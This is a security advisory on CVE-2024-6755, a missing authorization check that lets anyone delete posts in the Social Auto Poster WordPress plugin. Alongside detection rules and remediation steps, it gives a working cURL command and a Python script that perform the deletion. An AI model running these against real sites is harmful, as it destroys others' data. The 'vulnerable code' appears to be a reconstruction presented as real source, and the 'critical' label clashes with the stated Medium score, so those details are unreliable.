CVE-2024-6755

Executive Summary

CVE-2024-6755 is a critical missing capability check vulnerability in the WordPress plugin Social Auto Poster (by Wpwax), affecting all versions up to and including 5.3.14. The flaw resides in the wpw_auto_poster_quick_delete_multiple function, which lacks proper authorization checks. This allows unauthenticated attackers to delete arbitrary posts on a WordPress site, leading to unauthorized modification and loss of data. The vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, but the risk is significant due to the ease of exploitation (no authentication required) and the potential for data destruction.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor for updates from the vendor (Wpwax) and consider removing the plugin if no patch is forthcoming. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: High (A:H)

Threat Level: Medium. While the CVSS score is 6.5, the ability for unauthenticated attackers to delete arbitrary posts (including critical content) elevates the real-world risk. The lack of a patch and the simplicity of exploitation make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability exists in the wpw_auto_poster_quick_delete_multiple function within the Social Auto Poster plugin. This function is intended to allow authorized users (e.g., administrators) to bulk delete posts. However, the function does not perform a capability check (e.g., current_user_can('delete_posts')) before processing the request. As a result, any unauthenticated user can send a crafted POST request to the vulnerable endpoint, triggering the deletion of arbitrary posts.

The function likely iterates over an array of post IDs provided in the request and calls wp_delete_post() for each. Without proper authorization, an attacker can delete any post, including published pages, posts, and custom post types.

Key Mechanics:

• The vulnerable function is hooked to an AJAX action (e.g., wp_ajax_nopriv_* or a custom REST endpoint).
• The attacker sends a request with a list of post IDs.
• The function deletes the posts without checking user permissions.
• The deletion is permanent unless the posts are moved to trash (depending on WordPress configuration).

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.3.14):

function wpw_auto_poster_quick_delete_multiple() {
    // No capability check
    $post_ids = $_POST['post_ids'];
    foreach ($post_ids as $post_id) {
        wp_delete_post($post_id, true); // Force delete
    }
    wp_die();
}
add_action('wp_ajax_nopriv_wpw_auto_poster_quick_delete_multiple', 'wpw_auto_poster_quick_delete_multiple');

Patched Code (Hypothetical):

function wpw_auto_poster_quick_delete_multiple() {
    // Add capability check
    if (!current_user_can('delete_posts')) {
        wp_die('Unauthorized', 403);
    }
    $post_ids = $_POST['post_ids'];
    foreach ($post_ids as $post_id) {
        wp_delete_post($post_id, true);
    }
    wp_die();
}
add_action('wp_ajax_wpw_auto_poster_quick_delete_multiple', 'wpw_auto_poster_quick_delete_multiple');

Note: The patched version should also use wp_ajax_ (authenticated) instead of wp_ajax_nopriv_ (unauthenticated) to ensure only logged-in users can access the function.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Social Auto Poster plugin <= 5.3.14.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable AJAX action: wpw_auto_poster_quick_delete_multiple.
2. Craft a POST request with the action parameter set to the vulnerable function and post_ids as an array of post IDs to delete.
3. Send the request to the WordPress admin-ajax.php endpoint.

Example Exploit (cURL):

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=wpw_auto_poster_quick_delete_multiple&post_ids[]=1&post_ids[]=2&post_ids[]=3"

Python Exploit Script:

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "wpw_auto_poster_quick_delete_multiple",
    "post_ids[]": [1, 2, 3]  # Replace with target post IDs
}

response = requests.post(target, data=data)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=wpw_auto_poster_quick_delete_multiple.
• Alert on high volumes of post deletion activity from unauthenticated sources.
• Use the Sigma rule below to detect exploitation attempts.

Hardening:

• Immediately disable or remove the Social Auto Poster plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable action.
• Restrict access to admin-ajax.php using IP allowlisting or authentication.
• Monitor WordPress logs for unauthorized post deletions.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with body containing action=wpw_auto_poster_quick_delete_multiple.
  • Unusual spikes in post deletion activity.
• Host:
  • WordPress debug log entries showing wp_delete_post calls from unauthenticated users.
  • Missing posts or pages without corresponding user actions.
• File:
  • Modified or deleted content in the WordPress database (wp_posts table).

Detection Engineering

YARA Rule

rule CVE_2024_6755_Social_Auto_Poster_Delete {
    meta:
        description = "Detects exploitation attempts of CVE-2024-6755 in Social Auto Poster plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6755"
    strings:
        $ajax_action = "wpw_auto_poster_quick_delete_multiple"
        $post_ids = "post_ids[]"
    condition:
        $ajax_action and $post_ids
}

Sigma Rule

title: CVE-2024-6755 - Social Auto Poster Unauthenticated Post Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with the vulnerable action parameter.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wpw_auto_poster_quick_delete_multiple'
    condition: selection
falsepositives:
    - Legitimate admin actions (if plugin is used by authorized users)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6755 - Social Auto Poster Unauthenticated Post Deletion"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpw_auto_poster_quick_delete_multiple"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the Social Auto Poster plugin from the WordPress admin dashboard.
2. Restore deleted posts: If exploitation has occurred, restore posts from backups or the WordPress trash (if not permanently deleted).
3. Update WordPress: Ensure the core WordPress installation is up to date.

Long-term Mitigation:

• Monitor the vendor's website (Wpwax) for a patched version.
• Implement a Web Application Firewall (WAF) with rules to block the vulnerable action.
• Apply the principle of least privilege to all WordPress plugins and users.
• Regularly audit plugin code for missing capability checks.

Patch Status: UNKNOWN / UNPATCHED. No official patch has been released as of this report. Users are advised to remove the plugin until a fix is available.

Valters IT